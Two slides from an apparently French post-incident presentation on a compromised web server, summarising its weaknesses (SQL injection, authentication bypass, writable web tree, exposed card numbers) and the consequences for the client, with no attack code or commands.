  • 20. Description g´en´erale Investigations Conclusions Un peu vuln´erable, n’est-il pas ? Application semi-sp´ecifique s´erieusement fragile : Injections SQL partout dans le code Contournement de l’authentification d’acc`es aux fonctions administratives Arborescence web modifiable pour l’utilisateur apache R´ecup´eration d’informations sensibles (num´eros de CB), mˆeme si chiffrement local Environnement d’exploitation plutˆot l´eger : Pas de supervision du fonctionnement Pas de protections au niveau syst`eme ou applicatif Peu de filtres r´eseau en sortie du syst`eme Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
  • 21. Description g´en´erale Investigations Conclusions Pour le client Perte de confiance dans son outil Nouveaux d´eveloppements d´ej`a en cours, mais pas termin´es R´einstallation d’un syst`eme, corrections code, dans l’urgence. Fenˆetre d’inconfort sur plusieurs mois. Effort de supervision, contrˆoles r´eguliers, etc. Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web